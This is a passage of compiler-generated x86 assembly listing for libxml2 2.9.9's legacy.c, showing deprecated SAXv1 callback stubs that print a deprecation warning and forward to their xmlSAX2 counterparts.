ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlScanName _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _xmlScanName PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlScanName@@9@9, 0 jne SHORT $LN4@xmlScanNam ; 593 : static int deprecated = 0; ; 594 : ; 595 : if (!deprecated) { ; 596 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0CL@EEIIADKA@xmlScanName?$CI?$CJ?5deprecated?5functi@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 597 : "xmlScanName() deprecated function reached\n"); ; 598 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlScanName@@9@9, 1 ; 599 : } ; 600 : return (NULL); pop esi $LN4@xmlScanNam: ; 601 : } xor eax, eax ret 0 _xmlScanName ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlNamespaceParseNSDef _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _xmlNamespaceParseNSDef PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlNamespaceParseNSDef@@9@9, 0 jne SHORT $LN4@xmlNamespa ; 510 : static int deprecated = 0; ; 511 : ; 512 : if (!deprecated) { ; 513 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DG@MGBDBIFJ@xmlNamespaceParseNSDef?$CI?$CJ?5deprec@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 514 : "xmlNamespaceParseNSDef() deprecated function reached\n"); ; 515 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlNamespaceParseNSDef@@9@9, 1 ; 516 : } ; 517 : return (NULL); pop esi $LN4@xmlNamespa: ; 518 : } xor eax, eax ret 0 _xmlNamespaceParseNSDef ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlParseNamespace _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _xmlParseNamespace PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlParseNamespace@@9@9, 0 jne SHORT $LN2@xmlParseNa ; 561 : static int deprecated = 0; ; 562 : ; 563 : if (!deprecated) { ; 564 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DB@IEBMLCBD@xmlParseNamespace?$CI?$CJ?5deprecated?5@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 565 : "xmlParseNamespace() deprecated function reached\n"); ; 566 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlParseNamespace@@9@9, 1 pop esi $LN2@xmlParseNa: ; 567 : } ; 568 : } ret 0 _xmlParseNamespace ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlParseQuotedString _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _xmlParseQuotedString PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlParseQuotedString@@9@9, 0 jne SHORT $LN4@xmlParseQu ; 533 : static int deprecated = 0; ; 534 : ; 535 : if (!deprecated) { ; 536 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DE@OBDNBOEL@xmlParseQuotedString?$CI?$CJ?5deprecat@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 537 : "xmlParseQuotedString() deprecated function reached\n"); ; 538 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlParseQuotedString@@9@9, 1 ; 539 : } ; 540 : return (NULL); pop esi $LN4@xmlParseQu: ; 541 : } xor eax, eax ret 0 _xmlParseQuotedString ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _cdataBlock _TEXT SEGMENT _ctx$ = 8 ; size = 4 _value$ = 12 ; size = 4 _len$ = 16 ; size = 4 _cdataBlock PROC ; COMDAT ; 1336 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@cdataBlock ; 1337 : DEPRECATED("cdataBlock") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0L@HKAOEGJH@cdataBlock@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@cdataBlock: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1339 : } pop ebp ; 1338 : xmlSAX2CDataBlock(ctx, value, len); jmp _xmlSAX2CDataBlock _cdataBlock ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _comment _TEXT SEGMENT _ctx$ = 8 ; size = 4 _value$ = 12 ; size = 4 _comment PROC ; COMDAT ; 1320 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@comment ; 1321 : DEPRECATED("comment") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_07GJGNEJFD@comment@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@comment: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1323 : } pop ebp ; 1322 : xmlSAX2Comment(ctx, value); jmp _xmlSAX2Comment _comment ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _namespaceDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _href$ = 12 ; size = 4 _prefix$ = 16 ; size = 4 _namespaceDecl PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN4@namespaceD ; 1307 : DEPRECATED("namespaceDecl") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0O@BMLADFEG@namespaceDecl@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 12 ; 0000000cH inc DWORD PTR _deprecated_v1_msg pop esi ; 1308 : } ret 0 $LN4@namespaceD: ; 1307 : DEPRECATED("namespaceDecl") inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1308 : } ret 0 _namespaceDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _checkNamespace _TEXT SEGMENT _ctx$ = 8 ; size = 4 _namespace$ = 12 ; size = 4 _checkNamespace PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN4@checkNames ; 1289 : DEPRECATED("checkNamespace") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0P@HOABFNF@checkNamespace@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax inc DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH ; 1290 : return (0); ; 1291 : } xor eax, eax pop esi ret 0 $LN4@checkNames: ; 1289 : DEPRECATED("checkNamespace") inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1290 : return (0); ; 1291 : } xor eax, eax ret 0 _checkNamespace ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _getNamespace _TEXT SEGMENT _ctx$ = 8 ; size = 4 _getNamespace PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN4@getNamespa ; 1269 : DEPRECATED("getNamespace") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0N@IBOPMOJD@getNamespace@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax inc DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH ; 1270 : return (NULL); ; 1271 : } xor eax, eax pop esi ret 0 $LN4@getNamespa: ; 1269 : DEPRECATED("getNamespace") inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1270 : return (NULL); ; 1271 : } xor eax, eax ret 0 _getNamespace ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _setNamespace _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _setNamespace PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN4@setNamespa ; 1253 : DEPRECATED("setNamespace") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0N@PFFBACNP@setNamespace@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 12 ; 0000000cH inc DWORD PTR _deprecated_v1_msg pop esi ; 1254 : } ret 0 $LN4@setNamespa: ; 1253 : DEPRECATED("setNamespace") inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1254 : } ret 0 _setNamespace ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _globalNamespace _TEXT SEGMENT _ctx$ = 8 ; size = 4 _href$ = 12 ; size = 4 _prefix$ = 16 ; size = 4 _globalNamespace PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN4@globalName ; 1237 : DEPRECATED("globalNamespace") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BA@HBAGMMIM@globalNamespace@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 12 ; 0000000cH inc DWORD PTR _deprecated_v1_msg pop esi ; 1238 : } ret 0 $LN4@globalName: ; 1237 : DEPRECATED("globalNamespace") inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1238 : } ret 0 _globalNamespace ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _processingInstruction _TEXT SEGMENT _ctx$ = 8 ; size = 4 _target$ = 12 ; size = 4 _data$ = 16 ; size = 4 _processingInstruction PROC ; COMDAT ; 1218 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@processing ; 1219 : DEPRECATED("processingInstruction") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BG@BKBGIBPJ@processingInstruction@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@processing: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1221 : } pop ebp ; 1220 : xmlSAX2ProcessingInstruction(ctx, target, data); jmp _xmlSAX2ProcessingInstruction _processingInstruction ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _ignorableWhitespace _TEXT SEGMENT _ctx$ = 8 ; size = 4 _ch$ = 12 ; size = 4 _len$ = 16 ; size = 4 _ignorableWhitespace PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN4@ignorableW ; 1203 : DEPRECATED("ignorableWhitespace") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BE@JAKNEPAP@ignorableWhitespace@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 12 ; 0000000cH inc DWORD PTR _deprecated_v1_msg pop esi ; 1204 : } ret 0 $LN4@ignorableW: ; 1203 : DEPRECATED("ignorableWhitespace") inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1204 : } ret 0 _ignorableWhitespace ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _characters _TEXT SEGMENT _ctx$ = 8 ; size = 4 _ch$ = 12 ; size = 4 _len$ = 16 ; size = 4 _characters PROC ; COMDAT ; 1183 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@characters ; 1184 : DEPRECATED("characters") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0L@MKHPBEDE@characters@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@characters: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1186 : } pop ebp ; 1185 : xmlSAX2Characters(ctx, ch, len); jmp _xmlSAX2Characters _characters ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _reference _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _reference PROC ; COMDAT ; 1167 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@reference ; 1168 : DEPRECATED("reference") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_09KJONPCOF@reference@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@reference: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1170 : } pop ebp ; 1169 : xmlSAX2Reference(ctx, name); jmp _xmlSAX2Reference _reference ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _endElement _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _endElement PROC ; COMDAT ; 1152 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@endElement ; 1153 : DEPRECATED("endElement") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0L@GKEIAKOG@endElement@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@endElement: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1155 : } pop ebp ; 1154 : xmlSAX2EndElement(ctx, name); jmp _xmlSAX2EndElement _endElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _startElement _TEXT SEGMENT _ctx$ = 8 ; size = 4 _fullname$ = 12 ; size = 4 _atts$ = 16 ; size = 4 _startElement PROC ; COMDAT ; 1138 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 ; 1140 : } pop ebp ; 1139 : xmlSAX2StartElement(ctx, fullname, atts); jmp _xmlSAX2StartElement _startElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _attribute _TEXT SEGMENT _ctx$ = 8 ; size = 4 _fullname$ = 12 ; size = 4 _value$ = 16 ; size = 4 _attribute PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN4@attribute ; 1124 : DEPRECATED("attribute") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_09HGIEBAJ@attribute@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 12 ; 0000000cH inc DWORD PTR _deprecated_v1_msg pop esi ; 1125 : } ret 0 $LN4@attribute: ; 1124 : DEPRECATED("attribute") inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1125 : } ret 0 _attribute ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _endDocument _TEXT SEGMENT _ctx$ = 8 ; size = 4 _endDocument PROC ; COMDAT ; 1102 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@endDocumen ; 1103 : DEPRECATED("endDocument") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0M@OBDBPPLP@endDocument@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@endDocumen: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1105 : } pop ebp ; 1104 : xmlSAX2EndDocument(ctx); jmp _xmlSAX2EndDocument _endDocument ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _startDocument _TEXT SEGMENT _ctx$ = 8 ; size = 4 _startDocument PROC ; COMDAT ; 1087 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 ; 1091 : } pop ebp ; 1088 : /* don't be too painful for glade users */ ; 1089 : /* DEPRECATED("startDocument") */ ; 1090 : xmlSAX2StartDocument(ctx); jmp _xmlSAX2StartDocument _startDocument ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _unparsedEntityDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _publicId$ = 16 ; size = 4 _systemId$ = 20 ; size = 4 _notationName$ = 24 ; size = 4 _unparsedEntityDecl PROC ; COMDAT ; 1056 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@unparsedEn ; 1057 : DEPRECATED("unparsedEntityDecl") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BD@HCBGHJEF@unparsedEntityDecl@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@unparsedEn: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1059 : notationName); ; 1060 : } pop ebp ; 1058 : xmlSAX2UnparsedEntityDecl(ctx, name, publicId, systemId, jmp _xmlSAX2UnparsedEntityDecl _unparsedEntityDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _notationDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _publicId$ = 16 ; size = 4 _systemId$ = 20 ; size = 4 _notationDecl PROC ; COMDAT ; 1036 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@notationDe ; 1037 : DEPRECATED("notationDecl") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0N@CBDPABNA@notationDecl@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@notationDe: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1039 : } pop ebp ; 1038 : xmlSAX2NotationDecl(ctx, name, publicId, systemId); jmp _xmlSAX2NotationDecl _notationDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _elementDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _type$ = 16 ; size = 4 _content$ = 20 ; size = 4 _elementDecl PROC ; COMDAT ; 1018 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@elementDec ; 1019 : DEPRECATED("elementDecl") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0M@FJEPBGK@elementDecl@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@elementDec: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1021 : } pop ebp ; 1020 : xmlSAX2ElementDecl(ctx, name, type, content); jmp _xmlSAX2ElementDecl _elementDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _attributeDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _elem$ = 12 ; size = 4 _fullname$ = 16 ; size = 4 _type$ = 20 ; size = 4 _def$ = 24 ; size = 4 _defaultValue$ = 28 ; size = 4 _tree$ = 32 ; size = 4 _attributeDecl PROC ; COMDAT ; 999 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@attributeD ; 1000 : DEPRECATED("attributeDecl") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0O@BNECHEBL@attributeDecl@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@attributeD: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1002 : tree); ; 1003 : } pop ebp ; 1001 : xmlSAX2AttributeDecl(ctx, elem, fullname, type, def, defaultValue, jmp _xmlSAX2AttributeDecl _attributeDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _entityDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _type$ = 16 ; size = 4 _publicId$ = 20 ; size = 4 _systemId$ = 24 ; size = 4 _content$ = 28 ; size = 4 _entityDecl PROC ; COMDAT ; 977 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@entityDecl ; 978 : DEPRECATED("entityDecl") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0L@OGGGJLI@entityDecl@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@entityDecl: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 980 : } pop ebp ; 979 : xmlSAX2EntityDecl(ctx, name, type, publicId, systemId, content); jmp _xmlSAX2EntityDecl _entityDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _resolveEntity _TEXT SEGMENT _ctx$ = 8 ; size = 4 _publicId$ = 12 ; size = 4 _systemId$ = 16 ; size = 4 _resolveEntity PROC ; COMDAT ; 921 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@resolveEnt ; 922 : DEPRECATED("resolveEntity") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0O@LFLMJBFI@resolveEntity@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@resolveEnt: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 924 : } pop ebp ; 923 : return (xmlSAX2ResolveEntity(ctx, publicId, systemId)); jmp _xmlSAX2ResolveEntity _resolveEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _getParameterEntity _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _getParameterEntity PROC ; COMDAT ; 955 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@getParamet ; 956 : DEPRECATED("getParameterEntity") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BD@KINJKNIJ@getParameterEntity@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD 